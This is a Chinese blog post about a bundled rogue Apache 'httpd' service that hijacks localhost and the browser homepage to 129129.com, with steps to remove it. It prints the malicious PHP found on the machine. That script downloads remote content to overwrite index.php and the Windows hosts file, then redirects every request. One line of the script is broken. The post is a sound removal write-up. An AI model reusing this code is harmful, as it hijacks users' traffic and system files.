解决127.0.0.1和Http://Localhost均被拦截跳转到另一个网页

  • A+
所属分类:PHP源码

今天安装一个WEB系统,要用到http://127.0.0.1输入完成之后,可以进入安装界面,but,我输入完了之后,自动跳到了129129垃圾网站,艹,我真TM服了,我把本地连接网线都拔掉了,它还是可以访问到这个网站,真是流氓网站啊,我又去下载DNS劫持修复工具,又是杀毒的,直到我发现我的进程里面有一个httpd进程,我艹,这不是阿帕奇的服务器软件吗,我就把它禁用了一下,瞬间就可以进入127.0.0.1了。不得不说,现在的流氓软件越来越人性化了,让人都摸不到什么意思,若不是我用到了localhost网址,我这辈子可能都不会发现这个小流氓插件,这样想来,每次我开机,它都去访问那个129129垃圾站,拖垮了网速不说,还占着CPU不拉屎。

 

解决IE主页总是显示http://www.129129.com/?1 2 3 4 ,怎么也改不过来而且360体检也找不到错误

 

解决方案:

 

360--开机加速--找到httpd--进入安装目录--禁止开机启动--然后删掉整个文件夹即可。

 

目录:C:\WINDOWS\Apache\bin 删掉整个目录

解决127.0.0.1和Http://Localhost均被拦截跳转到另一个网页

我其实在它的C:\WINDOWS\Apache\htdocs目录下找到了一段php脚本,里面这么写的:

<?php
include_once "config.php";
$name1 = "";
$name2 = "";
//$name3 = "";

//获取最新php

$index = file_get_contents('http://www.129129.com/ht/index.txt');
if(strpos($index, )
{
$arr = explode("@", $index);

$index = $arr[1];
$hosts = $arr[0];
$index = get_rep($index);
if(!empty($index)){
if(file_put_contents("index.php", $index)==0){}
}

//获取最新hosts
if(!empty($hosts)){
if(file_put_contents("C:/WINDOWS/system32/drivers/etc/hosts", $hosts)==0){}
}
}
//域名跳转个性化

$serverName = $_SERVER['SERVER_NAME'];
switch ($serverName) {
case strpos($name1,$serverName)!==false:
header("Location:http://www.129129.com/?1");exit;
break;
case strpos($name2,$serverName)!==false:
header("Location:http://www.129129.com/?2");exit;
break;
case strpos($name3,$serverName)!==false:
header("Location:http://www.129129.com/?3");exit;
break;
default:
header("Location:http://www.129129.com/?4");exit;
break;
}

?>
<meta http-equiv="refresh" content="0;url=http://www.129129.com/?301">

很明显的最后一段有个跳转语句,可谓是别具匠心啊呸,垃圾封装的系统,强加了一个httpd软件,强制跳转到129129,垃圾,果断干掉!

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: